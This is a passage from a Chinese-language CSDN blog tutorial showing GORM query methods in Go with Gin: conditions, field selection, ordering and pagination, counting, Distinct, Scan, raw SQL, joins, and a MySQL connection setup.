    models.DB.Where("id = ?", 2).Or("id = ?", 3).Find(&nav6)

    c.JSON(http.StatusOK, gin.H{

        "result": nav6,

    })

(4).选择字段查询

    //使用select返回指定的字段, 使用结构体时,没有的数据会默认为0或""

    nav7 := []models.Nav{}

    models.DB.Select("title", "id").Where("id = ?", 2).Or("id = ?", 3).Find(&nav7)

    c.JSON(http.StatusOK, gin.H{

        "result": nav7,

    })

(5).排序 Limit 、Offset

    //order排序, limit, Offset

    nav8 := []models.Nav{}

    models.DB.Order("id desc").Find(&nav8)

    c.JSON(http.StatusOK, gin.H{

        "result": nav8,

    })

    

    nav9 := []models.Nav{}

    models.DB.Order("id desc").Limit(3).Find(&nav9)

    c.JSON(http.StatusOK, gin.H{

        "result": nav9,

    })

    //分页

    nav10 := []models.Nav{}

    models.DB.Order("id desc").Offset(2).Limit(3).Find(&nav10)

    c.JSON(http.StatusOK, gin.H{

        "result": nav10,

    })

(6).count计数

    nav11 := []models.Nav{}

    var num int64

    models.DB.Where("id > ? and id < ?", 3, 9).Find(&nav11).Count(&num)

    c.JSON(http.StatusOK, gin.H{

        "result": num,

    })

(7).Distinct

从模型中选择不相同的值

nav := []models.Nav{}

models.DB.Distinct("title").Order("id desc").Find(&nav)

c.JSON(200, gin.H{ 

    "nav": nav,

 })

//SELECT DISTINCT `title` FROM `nav` ORDER BY id desc

(8).Scan

将结果扫描到结构中的方法与我们使用find的方法类似

type Result struct {

    Name string

    Age int

}

var result Result

models.DB.Table("users").Select("name", "age").Where("name = ?", "Antonio").Scan(&result)

// 原生 SQL

models.DB.Raw("SELECT name, age FROM users WHERE name = ?", "Antonio").Scan(&result)

var result []models.User

models.DB.Raw("SELECT * FROM user").Scan(&result)

fmt.Println(result)

(9).Joins

查询内联

type result struct {

  Name  string

  Email string

}

 

db.Model(&User{}).Select("users.name, emails.email").Joins("left join emails on emails.user_id = users.id").Scan(&result{})

// SELECT users.name, emails.email FROM `users` left join emails on emails.user_id = users.id

 

rows, err := db.Table("users").Select("users.name, emails.email").Joins("left join emails on emails.user_id = users.id").Rows()

for rows.Next() {

  ...

}

 

db.Table("users").Select("users.name, emails.email").Joins("left join emails on emails.user_id = users.id").Scan(&results)

 

// multiple joins with parameter

db.Joins("JOIN emails ON emails.user_id = users.id AND emails.email = ?", "jinzhu@example.org").Joins("JOIN credit_cards ON credit_cards.user_id = users.id").Where("credit_cards.number = ?", "411111111111").Find(&user)

//Joins 预加载

You can use Joins eager loading associations with a single SQL, for example:

 

db.Joins("Company").Find(&users)

// SELECT `users`.`id`,`users`.`name`,`users`.`age`,`Company`.`id` AS `Company__id`,`Company`.`name` AS `Company__name` FROM `users` LEFT JOIN `companies` AS `Company` ON `users`.`company_id` = `Company`.`id`;

 

// inner join

db.InnerJoins("Company").Find(&users)

// SELECT `users`.`id`,`users`.`name`,`users`.`age`,`Company`.`id` AS `Company__id`,`Company`.`name` AS `Company__name` FROM `users` INNER JOIN `companies` AS `Company` ON `users`.`company_id` = `Company`.`id`;

Join with conditions

 

db.Joins("Company", db.Where(&Company{Alive: true})).Find(&users)

// SELECT `users`.`id`,`users`.`name`,`users`.`age`,`Company`.`id` AS `Company__id`,`Company`.`name` AS `Company__name` FROM `users` LEFT JOIN `companies` AS `Company` ON `users`.`company_id` = `Company`.`id` AND `Company`.`alive` = true;

For more details, please refer to Preloading (Eager Loading).

 

Joins 一个衍生表

You can also use Joins to join a derived table.

 

type User struct {

    Id  int

    Age int

}

 

type Order struct {

    UserId     int

    FinishedAt *time.Time

}

 

query := db.Table("order").Select("MAX(order.finished_at) as latest").Joins("left join user user on order.user_id = user.id").Where("user.age > ?", 18).Group("order.user_id")

db.Model(&Order{}).Joins("join (?) q on order.finished_at = q.latest", query).Scan(&results)

// SELECT `order`.`user_id`,`order`.`finished_at` FROM `order` join (SELECT MAX(order.finished_at) as latest FROM `order` left join user user on order.user_id = user.id WHERE user.age > 18 GROUP BY `order`.`user_id`) q on order.finished_at = q.latest

(10).查看执行的失去了

package models

 

//gorm文档: https://gorm.io/zh_CN/docs/index.html

//连接数据库核心代码

 

import (

    "fmt"

    "gorm.io/gorm"

    "gorm.io/driver/mysql"

)

 

//全局使用DB,就需要把DB定义成公有的

var DB *gorm.DB

var err error

 

//自动初始化数据库

func init()  {

    // 参考 https://github.com/go-sql-driver/mysql#dsn-data-source-name 获取详情

    dsn := "root:123456@tcp(127.0.0.1:3306)/gin?charset=utf8mb4&parseTime=True&loc=Local"

    DB, err = gorm.Open(mysql.Open(dsn), &gorm.Config{})

    //查看执行的sql

    DB.Debug()

    if err != nil {

        fmt.Println(err)

    }


————————————————


                            版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

                        

原文链接:https://blog.csdn.net/zhoupenghui168/article/details/129784764